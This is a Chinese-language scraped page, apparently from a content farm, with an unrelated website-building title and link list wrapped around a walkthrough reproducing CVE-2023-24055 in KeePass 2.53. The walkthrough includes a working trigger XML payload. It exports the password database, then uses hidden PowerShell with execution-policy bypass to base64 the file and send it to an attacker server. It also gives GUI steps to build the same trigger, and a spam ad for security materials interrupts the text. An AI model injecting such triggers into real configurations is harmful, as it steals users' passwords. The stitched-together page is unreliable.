当前位置: 首页 > news >正文

电子网站建设方案如何做网站主页

电子网站建设方案,如何做网站主页,企业网站源码推荐,课程建设类教学成果奖网站一、漏洞描述 漏洞简述 KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知…

一、漏洞描述

漏洞简述

KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。

对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。

漏洞影响范围

供应商:KeePass

产品:KeePass Password Safe 2

确认受影响版本:KeePass 2.53版本

修复版本:KeePass 2.53.1版本

二、漏洞复现实战

环境搭建

Step 1 KeePass 2.53

KeePass 版本

下载地址:https://keepass.info/

Step 2 KeePass翻译语言包

下载地址:https://keepass.info/translations.html

将语言包文件复制至安装路径下“Languages”文件夹下

翻译语言包

在KeePass中进入语言设置,切换语言

切换语言

漏洞复现

根据原理,在安装路径下的配置文件KeePass.config.xml,根据触发器功能的安全缺陷进行利用。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

创建一个触发器,在密码数据库存在交互时进行明文传输。触发器创建主要细分为两种方式:

(1)POC写入配置文件

将编写好的POC代码写入KeePass.config.xml,须符合触发器XML格式。

其中<Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter>字段为明文传输路径。

利用powershell以GET方式传输数据库中密码文件。

POC

	<TriggerSystem>	<Triggers><Trigger><Guid>lztpSRd56EuYtwwqntH7TQ==</Guid><Name>exploit</Name><Events><Event><TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid><Parameters><Parameter>0</Parameter><Parameter /></Parameters></Event></Events><Conditions /><Actions><Action><TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid><Parameters><Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter><Parameter>KeePass XML (2.x)</Parameter><Parameter /><Parameter /></Parameters></Action><Action><TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid><Parameters><Parameter>PowerShell.exe</Parameter><Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\???\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:8888/$var -Method GET </Parameter><Parameter>False</Parameter><Parameter>1</Parameter><Parameter /></Parameters></Action></Actions></Trigger></Triggers>			</TriggerSystem>

修改KeePass config xml

保存KeePass.config.xml文件,触发器功能查看exploit触发器

(2)通过触发器功能手工创建触发器

以官方触发器构成为参考

https://keepass.info/help/kb/trigger_examples.html

exploit触发器配置如下:

属性项:命名为exploit,其余默认配置

触发器属性

事件项:选择Saved database file(已保存数据库文件),判断条件选Equals(相等)

触发器事件

条件项:为空

触发器条件

操作项

  1. 导出当前数据库

文件路径为上述文件传输路径

文件格式选择 KeePass XML (2.x)

  1. 执行命令行/URL

文件路径为PowerShell.exe ,使触发器执行PowerShell

参数选择攻击接收的路径

窗口方式选择Hidden

触发器操作

完成创建,可以看到exploit触发器

在攻击机 创建web服务,后续接收传输后的密码明文;

在KeePass中新建一条密码记录并保存,可以看到攻击机终端已接收到明文信息

添加记录

收到明文传输内容

进行base64解码,可以看到内容为密码记录内容,包含账号与密码等敏感信息。

base64解码后结果

漏洞修复

建议更新至KeePass 2.53.1 版本

结束语

本文主要介绍了CVE-2023-24055 KeePass敏感信息明文传输漏洞的复现过程,漏洞主要利用对 KeePass 配置文件在写入权限下可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。

http://www.yayakq.cn/news/299244/

相关文章:

  • 做机械有什么兼职网站建设网站公司浩森宇特
  • 电商网站建设实验原理有没有哪个网站能够做简历
  • 公司网站建设费用怎么记账微信管理系统怎么登录
  • 网站开发价钱网页标准化对网站开发维护的好处
  • 江门网站制作公司郑州平台制作
  • 大兴模版网站搭建哪家好去除wordpress版权信息
  • 格尔木市住建和城乡建设局网站万网空间上传网站吗
  • 上海傲石设计网站做网站哪个平台好一点
  • 廉价网站建设昌江区网站建设
  • 做门窗网站怎么做品牌网站建设小蝌蚪c
  • 旅游网站开发项目策划书中国最大的网站建设公司
  • 建筑网站资料排行榜网站建设与实践步骤
  • 建设网站 容量2023最建议买10款手机
  • 域名注册最好的网站wordpress 语言包编辑
  • php大型网站开发微信公众号创建小程序
  • 外贸网站建设哪家快速适合30岁女人的培训班
  • 内容型网站有哪些企点官网
  • 深圳外贸网站开发公司拍拍贷app官网下载
  • asp模板网站合肥手机网站制作建设
  • 建什么网站赚钱洛阳网站建设电话
  • 西宁做网站的工作室安阳网站建设报价
  • 企业商城网站建设方案河南城乡与住房建设厅网站
  • 做网站 好苦逼不用域名访问网站
  • 网站开发需要书籍佛山定制网页设计
  • 开一家网站建设公司怎样2017三五互联做网站怎么样
  • 济南网站建设与优化宁波seo推广哪家好
  • 湖北建站wordpress文章图片默认居中
  • 企业备案增加网站wordpress仿论坛
  • 一个做任务的网站郑州小学班级网站建设
  • 接入备案和增加网站网站的pv uv